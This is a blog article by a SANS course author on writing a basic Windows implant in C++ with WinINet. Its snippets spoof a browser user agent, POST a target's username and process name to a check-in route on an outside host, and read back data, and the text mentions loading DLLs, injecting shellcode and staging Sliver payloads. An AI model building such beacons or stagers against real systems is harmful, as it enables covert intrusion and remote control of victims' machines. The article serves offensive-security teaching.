Building a Windows Implant Without Artificial Intelligence
Have you ever wanted to jump into Windows implant development using C++? This article provides a simple example of how to do this by looking at Microsoft documentation for each API in the WinInet family.
May 27, 2024
By Jonathan Reiter, Certified Instructor and Course Author, SANS Institute
It seems as if people are talking about artificial intelligence (AI) and machine learning in every other conversation, but these can simply be cyber buzzwords. However, AI can be used for malware, and malware development is right up my alley, as I've written about it for SANS, SEC670. Many of my students have discussed using AI to assist with code generation, but the resulting code is not amazing, as I have found when I asked an AI tool for HTTP communication methods. The results included no proper error checking, bad parameters passed to APIs, calling APIs that don't exist, the wrong header files, and more. I can understand the urge to use AI-generated code, but it needs to get much better.
Things are even worse if you don't know the APIs being called. What if you want to do certificate pinning? What about encrypting your communications using TLS? This is covered in SEC670 and is also something that I asked to be AI-generated, just to see what happened. The results were not great.
For HTTP, there are two primary API families: WinHttp and WinINet. Should you ask Siri which one to choose? Thankfully, Microsoft has documented both families and provides a table about their features. To paraphrase MSDN documentation, use WinINet unless you're making a service. Let's showcase WinINet with a basic HTTP POST.
If you are stronger in C than C++, here is a crash course. In SEC670, I spend a bit more time discussing C++ vs. C data types.
// nullptr and NULL are not the same thing in C++
// NULL is a macro that expands to 0 so don’t use it when a pointer is needed
// nullptr is used instead
nullptr and NULL
// also, say you wanted to pass in a nullptr for a parameter that has the type
// PHANDLE, you can do something like this
PHANDLE()
// this can be done with other data types too, PDWORD(), DWORD_PTR(), etc.
// just another option for nullptr or 0
// think of it like default constructor initialization
What is WinINet? To paraphrase Microsoft, it's what allows you to have HTTP methods to reach the Internet. But first comes the Internet session. We make one with the API InternetOpen; the parameters for the function are straightforward, but the details of each can be found on Microsoft's website. The example below is the simplest way to call it.
auto hSession = InternetOpenA(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36",
INTERNET_OPEN_TYPE_PRECONFIG, // Retrieves the proxy or direct configuration from the registry
nullptr,
nullptr,
NULL
);
Error checking will be omitted here to save space. Next up, create the handle for the Internet connection. This is done with a call to InternetConnect, and documentation for its details can be found by reading Microsoft documentation. Here is how to call it.
CStringA csTheTarget = "192.168.236.164";
INTERNET_PORT thePort = 8181;
auto hConnect = InternetConnectA(
hSession,
(LPCSTR)csTheTarget,
thePort,
nullptr,
nullptr,
INTERNET_SERVICE_HTTP, // using INTERNET_SERVICE_HTTPS would be port 443
NULL,
DWORD_PTR()
);
Next, open the request using HttpOpenRequest. The function name might make you think it's part of the WinHttp library, but it's not. The WinHttp version of that API is WinHttpOpenReuest. Notice the "Win" prefix there? The call is going to be made for a POST request to the route/register so that the implant can check in.
auto hRequest = HttpOpenRequestA(
hConnect,
"POST",
"/register",
nullptr,
nullptr,
nullptr,
NULL, // using INTERNET_FLAG_SECURE here would help with HTTPS comms
DWORD_PTR()
);
At this part of the program, nothing has been sent out from the target system, but there's another API that will do that for us: HttpSendRequest.
// a simple structure to hold some information about the target
typedef struct _CLIENT_INFO
{
std::string userName;
std::string processName;
} CLIENT_INFO, *PCLIENT_INFO;
// could be JSON or multi-part
std::string headers = "Content-Type: text/plain";
// this would be obtained via an API call
std::string userName = "developer";
// same here, but just for initial POC testing
std::string processName = "cmd.exe";
// make a smart pointer around the CLIENT_INFO structure
std::shared_ptr pClientInfo(new CLIENT_INFO);
// update the fields with the username and process name
pClientInfo->processName = processName;
pClientInfo->userName = userName;
// send off the request
if (!HttpSendRequestA(
hRequest,
headers.c_str(),
headers.size(),
pClientInfo.get(),
sizeof(*pClientInfo))
)
{
// error handling stuff here
}
Finally, after calling HttpSendRequest, the packet is gone. It can be useful to have Wireshark running to validate the data. This example is extremely simple and just sends off some raw data, but you could send JSON encrypted and/or Base64-encoded data, too.
Now what? Maybe we were given a status code for a successful registration. Use InternetReadFile for that; here's how it could be done.
// for holding the raw results
std::vector postResults;
// for translating any results into a string
std::string results;
while (TRUE)
{
if (!InternetReadFile(
hRequest,
postResults.data(),
postResults.size(),
&dwBytesRead)
)
{
// error handling stuff here
}
// if there is nothing else to read, we are done
if (NULL == dwBytesRead) break;
}
There are many ways data could be stored, and using a byte vector is just one of those methods. Perhaps a DLL was sent over and it's our job to load it. Or maybe some encrypted blob of shellcode comes over and we must decrypt it before we inject it into a process. For the sake of keeping things simple for this post, the data coming back is just a string. If we're going to treat the byte vector as a string, we can do a few things. One option is to take the begin and end methods of the byte vector and append them to a std::string; like this.
results.append(postResults.begin(), postResults.end());
printf("results: %s \n", results.c_str());
I mentioned certificate pinning earlier, and a solid example of looking at a server's certificate information is a GitHub project called CertCheck, by Tim Malcom Vetter. The project also showcases WinINet APIs to get this done, so be sure to have a look.
To keep this post short, I quickly covered the WinINet APIs to make a POST request. In my SEC670 course, I show a slightly different version that acts as a stager to pull down Sliver payloads. In the end, it's important to understand how the APIs work together to make your HTTP communications come to life. If this was completely new to you, or if C is new to you, I have several free webcasts introducing C for Windows developers.
About the Author
Jonathan Reiter is probably one of the few enlisted members to make it to the rank of Senior Master Sergeant (E8) and be selected for a commission. As part of the Maryland Air National Guard located at Fort Meade, Md., Jonathan serves as a cyberspace capabilities developer. Defending the nation's critical infrastructure and key resources in cyberspace is as challenging as it is vital. Jonathan intends to complete 30 years of service in the US Air Force. He is also active on YouTube and Discord, occasionally being a guest on the Off By One Security channel to discuss Windows development. Jonathan enjoys spending time writing Windows implants as well as researching the Windows kernel.
Read more about:
Sponsor Resource CenterYou May Also Like
DevSecOps/AWS
Oct 17, 2024Social Engineering: New Tricks, New Threats, New Defenses
Oct 23, 202410 Emerging Vulnerabilities Every Enterprise Should Know
Oct 30, 2024Simplify Data Security with Automation
Oct 31, 2024